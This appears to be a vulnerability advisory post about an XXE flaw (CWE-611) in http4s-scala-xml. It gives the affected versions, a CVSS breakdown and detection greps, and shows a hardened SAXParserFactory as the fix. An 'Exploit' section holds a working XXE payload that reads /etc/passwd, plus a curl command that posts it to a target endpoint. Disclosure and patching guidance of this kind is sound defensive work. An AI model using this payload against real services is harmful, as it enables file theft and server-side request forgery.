Listen to this Post
http4s-scala-xml provides `EntityDecoder[F, scala.xml.Elem]` instances that parse XML message bodies. Prior to versions 0.24.1 and 1.0.0-M39, these decoders used a `javax.xml.parsers.SAXParserFactory` obtained from `SAXParserFactory.newInstance` without any security configuration. With the JDK’s default settings, the parser resolves DOCTYPE declarations, external general and parameter entities, and external DTDs. An application that uses these decoders to parse untrusted XML is vulnerable to XML External Entity (XXE) attacks. An attacker can craft a request that discloses local files readable by the service process, performs server-side request forgery (SSRF) against internal network resources, and/or causes denial of service through entity expansion. Any service that derives an XML `EntityDecoder` from this library and parses attacker-controlled input is affected. The default `SAXParserFactory` is now hardened: secure processing is enabled, DOCTYPE declarations are disallowed, external general/parameter entities and external DTD loading are disabled, DTD URIs are not resolved, and XInclude is disabled. These defaults match scala.xml.XMLLoader‘s defaults since 2.0.0. Before upgrading, override `ElemInstancessaxFactory` with a hardened factory. Versions 0.24.1 and 1.0.0-M39 fix the issue. The vulnerability is classified as CWE-611: Improper Restriction of XML External Entity Reference. The CVSS v3.1 score is 9.3 (Critical) with a vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L. This indicates a network attack vector, low attack complexity, no privileges required, no user interaction, changed scope, high confidentiality impact, no integrity impact, and low availability impact. The issue was published on 2026-09-24. The affected versions are `< 0.24.1` and >= 1.0.0-M1, < 1.0.0-M39. The patched versions are `0.24.1` and 1.0.0-M39.
DailyCVE Form:
Platform: http4s-scala-xml
Version: <0.24.1, <1.0.0-M39
Vulnerability: XXE
Severity: Critical
date: 2026-09-24
Prediction: 2026-10-01
What Undercode Say:
Analytics:
Check current http4s-scala-xml version in build.sbt grep "http4s-scala-xml" build.sbt Verify if vulnerable SAXParserFactory is used grep -r "SAXParserFactory.newInstance" src/ Monitor for CVE-2026-61741 references curl -s "https://api.github.com/search/code?q=CVE-2026-61741+http4s-scala-xml" | jq '.total_count'
// Vulnerable code pattern (prior to patch) val factory = javax.xml.parsers.SAXParserFactory.newInstance // No security features configured
Exploit: (Educational Purposes!)
<!-- Proof-of-concept XXE payload to test file disclosure --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <foo>&xxe;</foo>
Send malicious XML to vulnerable endpoint curl -X POST http://target-service/xml-endpoint \ -H "Content-Type: application/xml" \ --data-binary @xxe-payload.xml
Protection: from this CVE
Upgrade to `http4s-scala-xml` version `0.24.1` or `1.0.0-M39` or later.
If immediate upgrade is not possible, override `ElemInstancessaxFactory` with a hardened factory:
val secured = new ElemInstances {
override protected val saxFactory = {
val f = javax.xml.parsers.SAXParserFactory.newInstance
f.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
f.setFeature("http://xml.org/sax/features/external-general-entities", false)
f.setFeature("http://xml.org/sax/features/external-parameter-entities", false)
f.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false)
f.setXIncludeAware(false)
f.setFeature("http://apache.org/xml/features/secure-processing", true)
f
}
}
import secured._
Impact:
Successful exploitation allows an attacker to disclose local files readable by the service process, perform server-side request forgery (SSRF) against internal network resources, and cause denial of service through entity expansion. The confidentiality impact is high, integrity impact is none, and availability impact is low. Any service that derives an XML `EntityDecoder` from this library and parses attacker-controlled input is affected.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
